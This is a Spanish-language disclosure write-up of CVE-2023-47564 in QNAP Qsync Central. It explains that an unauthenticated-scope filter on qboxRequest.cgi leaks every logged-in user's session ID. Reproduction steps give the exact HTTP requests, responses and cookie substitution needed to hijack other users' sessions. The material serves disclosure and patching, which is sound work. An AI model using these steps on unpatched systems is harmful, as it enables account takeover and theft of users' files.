
CVE-2023-47564
"Se ha informado de una vulnerabilidad de asignación incorrecta de permisos para un recurso crítico que afecta a Qsync Central. Si se explota, la vulnerabilidad podría permitir a usuarios autenticados leer o modificar el recurso a través de una red."
Fecha de descubrimiento: 5 de diciembre de 2023
Fecha de corrección: 3 de febrero de 2024
Versión(es) afectada(s): Qsync Central 4.4.x, Qsync Central 4.3.x
Versión(es) corregida(s): Qsync Central 4.4.0.15 (04/01/2024) y posteriores, Qsync Central 4.3.0.11 (11/01/2024) y posteriores
Resumen:
Durante una reciente prueba de penetración obtuve acceso a un sistema QNAP como usuario con pocos privilegios (aquí user123). No había archivos interesantes, así que indagué un poco más.
En el sistema solo se estaba ejecutando la aplicación Qsync Central (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer).
Primero intenté encontrar una lista de todos los usuarios disponibles e inspeccioné mi historial de proxy. Me topé con el endpoint /cgi-bin/qsync/qboxRequest.cgi.
Este endpoint reveló información sobre mi cuenta de usuario actual y también mi ID de sesión actual (sid).
La solicitud se veía así:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
La respuesta fue:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
Interesante era el parámetro filteruser. Simplemente lo eliminé y, para mi sorpresa, ¡se devolvió una lista de todos los usuarios y sus ID de sesión! Así que pude secuestrar la sesión de cualquier otro usuario conectado. Para una Prueba de Concepto (PoC) utilicé una de las sesiones para iniciar sesión como un usuario diferente. Reporté la vulnerabilidad al programa de recompensas por errores de QNAP. La comunicación fue fácil y se implementó una corrección rápidamente.
Pasos para reproducir (en detalle):
Inicie sesión en la aplicación web Qsync de QNAP como atacante con una cuenta de usuario normal y de pocos privilegios.
Extraiga el ID de sesión (sid) del atacante de la cookie NAS_SID establecida por la aplicación web Qsync.
Use el valor sid del atacante tanto en la cookie NAS_SID como en el parámetro GET sid de HTTP y realice la siguiente solicitud HTTP:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Los IDs de sesión válidos de todos los demás usuarios actualmente conectados a la aplicación web se pueden extraer de la respuesta HTTP, por ejemplo:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
La siguiente captura de pantalla ilustra este problema (por razones de privacidad, se han eliminado los IDs de sesión, así como información identificativa de la instancia de QNAP Qsync probada):
![]() |
|---|
| Valores de ID de sesión filtrados |
El atacante puede usar los valores sid extraídos para iniciar sesión como cualquiera de las víctimas configurando la cookie NAS_SID respectivamente. Esto permite al atacante secuestrar la sesión de la víctima y descargar cualquier archivo almacenado en el sistema QNAP por la víctima.